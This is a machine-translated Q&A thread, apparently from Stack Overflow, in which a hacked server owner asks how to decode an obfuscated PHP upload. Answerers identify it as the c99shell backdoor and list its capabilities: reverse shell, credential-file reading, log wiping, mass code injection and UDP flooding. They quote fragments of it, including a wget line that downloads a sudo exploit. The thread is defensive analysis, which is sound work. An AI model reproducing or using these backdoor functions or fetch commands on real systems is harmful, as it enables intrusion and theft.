2010-09-14 57 views
22

警告:这是一个可能的漏洞。如果您不确定如何处理此操作,请不要直接在您的服务器上运行。被黑了,这段代码是做什么的?

http://pastehtml.com/view/1b1m2r6.txt

我相信这是通过一个不安全的上传脚本上传。如何解码和解压缩此代码?在浏览器中运行它可能会将它作为shell脚本执行,打开一个端口或其他东西。

我可以做一个base64解码在线,但我真的不能解压缩它。

+0

是否有可能为你在这里粘贴代码?我无法打开这个链接.. – jyz 2010-09-14 11:04:39

+1

恐怕它已经执行了。(顺便说一句,你可以解压缩它,但不要评估它。 – fabrik 2010-09-14 11:05:00

+1

@jyzuz:代码是巨大的。 – fabrik 2010-09-14 11:05:26

回答

32

所以有一个字符串。它是gzip和base64编码的,代码解码base64,然后解压缩它。

如果这样做了,我得到这个:

<? eval(base64_decode('...')); ?> 

另一个层的base64,这就是720440个字节长。

现在,base64解码,我们有506961字节的漏洞利用代码。

我仍在检查代码,并在更多了解时更新此答案。代码是巨大的。

仍然可以通过读码,和(很做得好)利用允许这些工具来暴露给黑客:

  • TCP后门设置
  • 未经授权的shell访问
  • 所有的阅读htpasswd的,htaccess的,密码和配置文件
  • 日志抹
  • MySQL的访问(读,写)
  • 追加代码匹配名称模式(大规模开发)
  • RFI/LFI扫描所有文件
  • UDP洪水
  • 内核信息

这可能是一个专业的基于PHP的服务器范围内的开发工具包,以及看到它有一个漂亮的HTML界面和整个场景,它可以很容易地被专业黑客或者脚本小子使用。

这个漏洞被称为c99shell(感谢Yi Jiang),事实证明它已经很受欢迎,被讨论并且已经运行了几年。 Google针对此漏洞利用有许多结果。

+3

哇,它是一个完整的后门设置。虽然上传的人可能是另一个脚本小子。它直接托管在我们的apache根目录下。一个真正的黑客会在设置后门后删除它。 – HyderA 2010-09-14 11:21:19

+0

它有一个shell脚本,一个名为$后门的字符串,它被写出并执行。 PHP然后告诉用户这已完成并与netcat连接。 – 2010-09-14 11:23:07

+4

这样的事情让我害怕'数组('wget Sudo Exploit“,”wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c“),' – HyderA 2010-09-14 11:24:23

3

首先,用echo代替eval,看看它会执行什么代码,如果你愿意的话。 将该脚本的输出发送到另一个文件,例如test2.php。 在该文件中,再次执行相同的技巧。运行它,它会输出完整的恶意程序(这真是个野兽),约有4k行黑客的喜悦。

+0

你说得对,我为什么没有想到这个? – HyderA 2010-09-14 11:25:09

16

看着德兰的解码源代码,它看起来是一个功能齐全的后门,它提供了一个Web界面,可以用来以各种方式控制服务器。从源告诉片段:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

我劝你擦洗该服务器,并从重新安装一切刮。

+4

从我+1,完善的建议。 – 2010-09-14 11:29:08

7

我知道桑德兰Azabani已经做到了这一点,但只要你确实知道他是怎么出来的数据:

以防万一你想知道如何解这一点,使用base64 -d filename > output解析的base64字符串和gunzip file.name.gz到解析压缩的数据。

诀窍在于认识到你得到的是base64或gunzip并解压缩正确的位。

这种方式绝对不会靠近JS解析器或PHP解析器。

+2

伟大的安全提示;永远不要让它执行。 – 2010-09-14 11:31:23

2

这是php shell的代码。
解码此

替换替换的eval( “?>”。与印刷( 来看,这种

php5 file.php > file2.php 

然后更换EVAL与打印和浏览器中运行。http://loclhost/file2.php